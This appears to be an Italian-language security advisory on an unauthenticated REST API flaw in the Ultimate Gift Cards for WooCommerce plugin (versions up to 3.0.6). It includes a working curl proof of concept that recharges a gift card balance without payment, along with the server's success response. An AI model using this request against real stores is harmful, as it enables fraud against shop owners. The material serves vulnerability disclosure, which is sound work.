
Ultimate Gift Cards for WooCommerce <= 3.0.6 - Autorizzazione mancante che consente il glitch del denaro infinito
Ultimate Gift Cards per WooCommerce <= 3.0.6 - Autorizzazione mancante al glitch di denaro infinito
Il plugin Ultimate Gift Cards for WooCommerce – Create WooCommerce Gift Cards, Gift Vouchers, Redeem & Manage Digital Gift Coupons. Offer Gift Certificates, Schedule Gift Cards, and Use Advance Coupons With Personalized Templates per WordPress è vulnerabile alla modifica non autorizzata dei dati a causa di un controllo delle capacità mancante su diversi endpoint dell'API REST come /wp-json/gifting/recharge-giftcard in tutte le versioni fino alla 3.0.6 inclusa. Ciò consente ad attaccanti non autenticati di ricaricare il saldo di una gift card, senza effettuare un pagamento, e di ridurre i saldi delle gift card senza acquistare nulla.
curl -X POST \
https://wp-dev.ddev.site/wp-json/gifting/recharge-giftcard \
-H 'Content-Type: application/json' \
-d '{"coupon_code": "CUQP4C9M", "recharge_amount": "100.00", "coupon_expiry": "2027-12-31", "usage_limit": "511"}'
{"code":"success","message":"Coupon is successfully Recharged","data":{"status":200,"remaining_amount":120,"discount_type":"fixed_cart","usage_count":0,"usage_limit":"511","description":"","coupon_expiry":"2027-12-31"}}